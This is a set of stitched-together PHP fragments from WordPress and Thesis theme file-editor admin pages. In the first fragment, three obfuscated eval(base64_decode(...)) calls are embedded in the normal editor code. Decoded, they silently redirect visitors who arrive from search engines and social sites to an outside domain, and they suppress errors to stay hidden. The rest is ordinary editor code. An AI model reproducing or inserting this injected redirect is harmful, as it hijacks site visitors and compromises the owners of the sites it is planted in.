$error = 1; } if (!$error && filesize($file) > 0) { $f = fopen($file, 'r'); $content = fread($f, filesize($file)); if ('.php' == substr($file, strrpos($file, '.'))) { $functions = wp_doc_link_parse($content); $docs_select = '<select name="docs-list" id="docs-list">'; $docs_select .= '<option value="">' . esc_attr__('Function Name...') . '</option>'; foreach ($functions as $function) { $docs_select .= '<option value="' . esc_attr(urlencode($function)) . '">' . htmlspecialchars($function) . '()</option>'; } $docs_select .= '</select>'; } $content = htmlspecialchars($content); $codepress_lang = codepress_get_lang($file); } eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); if (isset($_GET['a'])) { ?> <div id="message" class="updated fade"><p><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); _e('File edited successfully.'); ?> </p></div> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); } $description = get_file_description($file); $desc_header = $description != $file_show ? "<strong>{$description}</strong> (%s)" : "%s"; ?>
function options_page() { global $thesis_site; $custom_editor = new thesis_custom_editor(); ?> <div id="thesis_options" class="wrap<?php if (get_bloginfo('text_direction') == 'rtl') { echo ' rtl'; } ?> "> <?php thesis_version_indicator(); thesis_options_title(__('Thesis Custom File Editor', 'thesis'), false); thesis_options_nav(); thesis_options_status_check(); if (version_compare($thesis_site->version, thesis_version()) != 0) { ?> <form id="upgrade_needed" action="<?php echo admin_url('admin-post.php?action=thesis_upgrade'); ?> " method="post"> <h3><?php _e('Oooh, Exciting!', 'thesis'); ?> </h3> <p><?php _e('It’s time to upgrade your Thesis, which means there’s new awesomeness in your immediate future. Click the button below to fast-track your way to the awesomeness!', 'thesis'); ?> </p> <p><input type="submit" class="upgrade_button" id="teh_upgrade" name="upgrade" value="<?php _e('Upgrade Thesis', 'thesis'); ?> " /></p> </form> <?php } elseif (file_exists(THESIS_CUSTOM)) { // Determine which file we're editing. Default to something harmless, like custom.css. $file = $_GET['file'] ? $_GET['file'] : 'custom.css'; $files = $custom_editor->get_custom_files(); $extension = substr($file, strrpos($file, '.')); // Determine if the custom file exists and is writable. Otherwise, this page is useless. $error = $custom_editor->is_custom_writable($file, $files); if ($error) { echo $error; } else { // Get contents of custom.css if (filesize(THESIS_CUSTOM . '/' . $file) > 0) { $content = fopen(THESIS_CUSTOM . '/' . $file, 'r'); $content = fread($content, filesize(THESIS_CUSTOM . '/' . $file)); $content = htmlspecialchars($content); } else { $content = ''; } } // Highlighting for which language? $lang = function_exists('codepress_get_lang') ? codepress_get_lang($file) : ''; ?> <div class="one_col"> <form method="post" id="file-jump" name="file-jump" action="<?php echo admin_url('admin-post.php?action=thesis_file_editor'); ?> "> <h3><?php printf(__('Currently editing: <code>%s</code>', 'thesis'), "custom/{$file}"); ?> </h3> <?php if (function_exists('use_codepress')) { if (use_codepress()) { echo "\t\t\t<a class=\"syntax\" id=\"codepress-off\" href=\"admin.php?page=thesis-file-editor&codepress=off&file={$file}\">" . __('Disable syntax highlighting', 'thesis') . "</a>\n"; } else { echo "\t\t\t<a class=\"syntax\" id=\"codepress-on\" href=\"admin.php?page=thesis-file-editor&codepress=on&file={$file}\">" . __('Enable syntax highlighting', 'thesis') . "</a></p>\n"; } } ?> <p> <select id="custom_files" name="custom_files"> <option value="<?php echo $file; ?> "><?php echo $file; ?> </option> <?php foreach ($files as $f) { // An option for each available file if ($f != $file) { echo "\t\t\t\t\t<option value=\"{$f}\">{$f}</option>\n"; } } ?> </select> <input type="submit" id="custom_file_jump" name="custom_file_jump" value="<?php _e('Edit selected file', 'thesis'); ?> " /> </p> <?php if ($extension == '.php') { echo "\t\t\t<p class=\"alert\">" . __('<strong>Note:</strong> If you make a mistake in your code while modifying a <acronym title="PHP: Hypertext Preprocessor">PHP</acronym> file, saving this page <em>may</em> result your site becoming temporarily unusable. Prior to editing such files, be sure to have access to the file via <acronym title="File Transfer Protocol">FTP</acronym> or other means so that you can correct the error.', 'thesis') . "</p>\n"; } ?> </form> <form class="file_editor" method="post" id="template" name="template" action="<?php echo admin_url('admin-post.php?action=thesis_file_editor'); ?> "> <input type="hidden" id="file" name="file" value="<?php echo $file; ?> " /> <p><textarea id="newcontent" name="newcontent" rows="25" cols="50" class="large-text codepress <?php echo $lang; ?> "><?php echo $content; ?> </textarea></p> <p> <input type="submit" class="save_button" id="custom_file_submit" name="custom_file_submit" value="<?php thesis_save_button_text(); ?> " /> <input class="color" type="text" id="handy-color-picker" name="handy-color-picker" value="ffffff" maxlength="6" /> <label class="inline" for="handy-color-picker"><?php _e('quick color reference', 'thesis'); ?> </label> </p> </form> </div> <?php } else { echo "<div class=\"warning\">\n\t<p><strong>" . __('Attention!', 'thesis') . '</strong> ' . __('In order to edit your custom files, you’ll need to change the name of your <code>custom-sample</code> folder to <code>custom</code>.', 'thesis') . "</p>\n</div>\n"; } ?> </div> <?php }
require_once 'admin-header.php'; update_recently_edited(WP_PLUGIN_DIR . '/' . $file); $content = file_get_contents($real_file); if ('.php' == substr($real_file, strrpos($real_file, '.'))) { $functions = wp_doc_link_parse($content); if (!empty($functions)) { $docs_select = '<select name="docs-list" id="docs-list">'; $docs_select .= '<option value="">' . __('Function Name...') . '</option>'; foreach ($functions as $function) { $docs_select .= '<option value="' . esc_attr($function) . '">' . htmlspecialchars($function) . '()</option>'; } $docs_select .= '</select>'; } } $content = htmlspecialchars($content); $codepress_lang = codepress_get_lang($real_file); if (isset($_GET['a'])) { ?> <div id="message" class="updated fade"><p><?php _e('File edited successfully.'); ?> </p></div> <?php } elseif (isset($_GET['phperror'])) { ?> <div id="message" class="updated fade"><p><?php _e('This plugin has been deactivated because your changes resulted in a <strong>fatal error</strong>.'); ?> </p> <?php if (wp_verify_nonce($_GET['_error_nonce'], 'plugin-activation-error_' . $file)) {
// Determine if the custom file exists and is writable. Otherwise, this page is useless. $error = thesis_is_custom_file_writable($file); if ($error) { echo $error; } else { // Get contents of custom.css if (filesize(THESIS_CUSTOM . '/' . $file) > 0) { $content = fopen(THESIS_CUSTOM . '/' . $file, 'r'); $content = fread($content, filesize(THESIS_CUSTOM . '/' . $file)); $content = htmlspecialchars($content); } else { $content = ''; } } // Highlighting for which language? $lang = function_exists('codepress_get_lang') ? codepress_get_lang($file) : ''; // Get list of available files $files = thesis_get_custom_files(); ?> <div class="one_col"> <form method="post" id="file-jump" name="file-jump" action="<?php echo admin_url('admin-post.php?action=thesis_file_editor'); ?> "> <h3><?php printf(__('Currently editing: <code>%s</code>', 'thesis'), 'custom/' . $file); ?> </h3> <?php if (function_exists('use_codepress')) { if (use_codepress()) {